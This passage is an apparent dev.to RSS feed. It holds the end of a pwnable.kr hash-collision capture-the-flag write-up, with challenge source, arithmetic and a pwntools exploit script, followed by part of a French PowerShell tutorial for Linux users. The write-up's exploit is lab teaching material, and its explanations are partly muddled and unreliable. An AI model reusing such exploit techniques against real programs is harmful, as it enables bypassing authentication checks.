    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function will get a character (i.e. a string) and then cast it into a vector (i.e. an array). That's the &lt;code&gt;int* ip = (int*)p;&lt;/code&gt; section. You should definitely &lt;a href="https://www.quora.com/What-does-int-p-mean"&gt;read more&lt;/a&gt; because it's quite central to the work here. &lt;/p&gt;

&lt;p&gt;Then, the loop will iterate over the vector and get all the values of &lt;code&gt;ip&lt;/code&gt; and sum them to return the result. &lt;/p&gt;

&lt;p&gt;After that, the &lt;code&gt;main()&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[]){&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"usage : %s [passcode]&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"passcode length should be 20 bytes&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hashcode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;check_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)){&lt;/span&gt;
        &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/bin/cat flag"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"wrong passcode.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which can be described in 3 steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;check if you have strictly one argument to the command line call&lt;/li&gt;
&lt;li&gt;argument should be 20 bytes long&lt;/li&gt;
&lt;li&gt;if the given password is equal to &lt;code&gt;hashcode&lt;/code&gt; then we pwned the challenge.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  What do we do from here?
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;0x21DD09EC&lt;/code&gt; is our first clue. We can't do much with that, let's transform this in decimals (it makes sense later).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Python 3.9.1 (default, Dec 13 2020, 11:55:53)  [GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
&amp;gt;&amp;gt;&amp;gt; 0x21DD09EC
568134124
&amp;gt;&amp;gt;&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the &lt;code&gt;check_password&lt;/code&gt; is our second step. &lt;/p&gt;

&lt;p&gt;The loop goes 5 times and return a result. This means that whatever we give the function will be added 5 fold, hence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;568134124 = 5x
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;568134124 / 5 = x
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; 568134124 / 5
113626824.8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We need to work with integers here not floats. Then, let's modify the equations to enter the remainder or the function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;568134124 = 4x + x'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(There is probably a more mathy-way to do that, let me know in the comments, I left school quite a while ago)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; 568134124 // 5
113626824
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;568134124 = 4 * 113626824 + x'
568134124 - (4 * 113626824) = x'
113626828 = x'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Test it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; 568134124 == (4 * 113626824) + 113626828
True
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All good. Let's write the exploit. For that, we are going to use &lt;a href="https://pwntools.readthedocs.io"&gt;pwntools&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The two decimals section will be in little endian and for a 32-bits architecture, thus:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;113626824&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endian&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'little'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# and
&lt;/span&gt;&lt;span class="n"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;113626828&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endian&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'little'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;113626824&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endian&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'little'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;113626828&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endian&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'little'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s"&gt;'./col'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why the payload before the call to the process? Because we need to pass the payload as a command line argument.&lt;/p&gt;

&lt;p&gt;Why the whole calculation and not just the result? Because we need a 20 bytes payload. We are passing the instruction and not just the result. The details of the how and the why are a bit obscure to me. I tried a couple of things and this worked in the end.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;~/.../pwnable.kr/2 &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; python boum.py                                                                                        
&lt;span class="o"&gt;[&lt;/span&gt;+] Starting &lt;span class="nb"&gt;local &lt;/span&gt;process &lt;span class="s1"&gt;'./col'&lt;/span&gt;: pid 99792
b&lt;span class="s1"&gt;'/bin/cat: flag: No such file or directory\n'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And it's pwned! Hope you enjoyed it!&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
    </item>
    <item>
      <title>Powershell (quand on ne connaît que Linux)</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Thu, 28 Jan 2021 18:55:18 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/powershell-quand-on-ne-connait-que-linux-kfe</link>
      <guid>https://dev.to/evilcel3ri/powershell-quand-on-ne-connait-que-linux-kfe</guid>
      <description>&lt;p&gt;&lt;a href="https://fr.wikipedia.org/wiki/Windows_PowerShell"&gt;Powershell&lt;/a&gt; est une programme de ligne de commande qui marche sur différentes plateformes mais est essentiellement utilisée sur Windows. C'est codé en .NET (prononcé: &lt;em&gt;dot net&lt;/em&gt;) un framework pour C# (prononcé: &lt;em&gt;si charp&lt;/em&gt;) et donc répond a certains concepts de &lt;a href="https://fr.wikipedia.org/wiki/Programmation_orient%C3%A9e_objet"&gt;programmation orientée objet&lt;/a&gt; comme... les (surprise) objets.&lt;/p&gt;

&lt;p&gt;En gros, chaque fonction que l'on verra reverra comme résultat une structure sur laquelle on pourra agir. Contrairement à Bash (voir articles précédents &lt;a href="https://dev.to/christalib/la-ligne-de-commande-linux-pour-les-impatient-e-s-49ne"&gt;1&lt;/a&gt; et &lt;a href="https://dev.to/christalib/la-ligne-de-commande-linux-pour-les-impatient-e-s-2-cas-pratique-3bph"&gt;2&lt;/a&gt;) qui nous retourne plutôt des listes ou des variables.&lt;/p&gt;

&lt;p&gt;Si vous ne connaissez pas les concepts de programmation orientée objet, ce n'est pas grave. Dans cet article, nous allons surtout essayer de refaire les exercices des deux premiers articles en Powershell et nous n'aborderons pas des concepts trop avancés.&lt;/p&gt;

&lt;p&gt;Powershell est bien calibré pour les environnements Windows, ce programme vous permet non seulement de travailler avec du texte et des fichiers mais aussi de gérer votre ordinateur... Scripter avec Powershell est un vrai atout lorsque vous travailler sur ce type de machines.&lt;/p&gt;

&lt;p&gt;Si vous voulez plus d'informations, la &lt;a href="https://docs.microsoft.com/en-us/powershell/"&gt;documentation&lt;/a&gt; de Microsoft est plutôt extensive.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bases
&lt;/h2&gt;

&lt;p&gt;Si vous utilisez Windows 10 ou plus, Powershell devrait déjà être installé et vous pouvez trouver la ligne de commande en cherchant "powershell" dans vos programmes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iYawCG29--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/frnsbm0w8yho5zv514t0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iYawCG29--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/frnsbm0w8yho5zv514t0.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Si vous utilisez Linux et que faire des trucs comme ça n'hérisse pas votre poil de libriste, il y a &lt;a href="https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7.1"&gt;moyen d'installer Powershell sur votre machine&lt;/a&gt; ! Même via Snap, si ce n'est pas beau tout ça !&lt;/p&gt;

&lt;p&gt;Voyons quelques fonctions de base :&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Linux (Bash)&lt;/th&gt;
&lt;th&gt;Powershell&lt;/th&gt;
&lt;th&gt;Options&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Get-Content&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;-Path&lt;/code&gt;, &lt;code&gt;-Tail&lt;/code&gt;, &lt;code&gt;-Head&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pwd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Get-Location&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Set-Location&lt;/code&gt; (or &lt;code&gt;cd&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Get-ChildItem&lt;/code&gt; (or &lt;code&gt;dir&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;-Path&lt;/code&gt;, &lt;code&gt;-File&lt;/code&gt;, &lt;code&gt;-Directory&lt;/code&gt;, &lt;code&gt;-Filter&lt;/code&gt;, &lt;code&gt;-Recurse&lt;/code&gt;, &lt;code&gt;-Hidden&lt;/code&gt;, &lt;code&gt;-ErrorAction SilentlyContinue&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Copy-Item&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;-Path&lt;/code&gt;, &lt;code&gt;-Destination&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Move-Item&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;-Path&lt;/code&gt;, &lt;code&gt;-Destination&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mkdir&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;New-Item&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;-ItemType&lt;/code&gt;, &lt;code&gt;-Name&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Measure-Object&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-word&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;man&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Get-Help&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wget&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Invoke-WebRequest&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;-Uri&lt;/code&gt;, &lt;code&gt;-OutFile&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Les majuscules ne sont pas obligatoire, &lt;code&gt;Get-Content&lt;/code&gt; et &lt;code&gt;get-content&lt;/code&gt; sont équivalents. Cependant, n'hésitez jamais à perdre un peu de rapidité à la frappe pour une meilleure lecture.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ok, eh bien, réimplémentons les exercices des premiers articles en Powershell !&lt;/p&gt;

&lt;h3&gt;
  
  
  Mouvements
&lt;/h3&gt;

&lt;p&gt;Trouvons où nous sommes dans l'arbre (&lt;code&gt;pwd&lt;/code&gt;) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Location&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;L'équivalent de &lt;code&gt;/&lt;/code&gt; sous Linux est &lt;code&gt;C:\&lt;/code&gt; sous Windows.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Déplaçons-nous :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Set-Location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ou si vous êtes sous Linux avec Powershell :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Set-Location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Lancer &lt;code&gt;Set-Location&lt;/code&gt; sans arguments est comme lancer &lt;code&gt;cd&lt;/code&gt; tout seul, il vous amènera au dossier de base de votre compte (&lt;code&gt;C:\Users\chris&lt;/code&gt; ou &lt;code&gt;/home/chris&lt;/code&gt; en fonction de votre système).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Lister le contenu d'un dossier :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# ou bien&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Jouez avec les options indiquées sur le table, par example que font les fonctions suivantes ?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-File&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Directory&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Création de fichiers et de dossiers
&lt;/h3&gt;

&lt;p&gt;Pour la création de fichiers et de dossiers, c'est même plus simple qu'avec&lt;br&gt;
Linux, puisqu'il nous suffira d'utiliser une seule fonction : &lt;code&gt;New-Item&lt;/code&gt; (nouvel&lt;br&gt;
object).&lt;/p&gt;

&lt;p&gt;Pour un fichier :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;New-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ItemType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pouet&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Donnera :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Directory:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/home/chris/Documents/blog&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Mode&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="nx"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;-------------&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;----------&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="n"&gt;/01/2021&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;16:07&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pouet&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Et pour un dossier :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;New-item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ItemType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dirdir&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Résultat :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
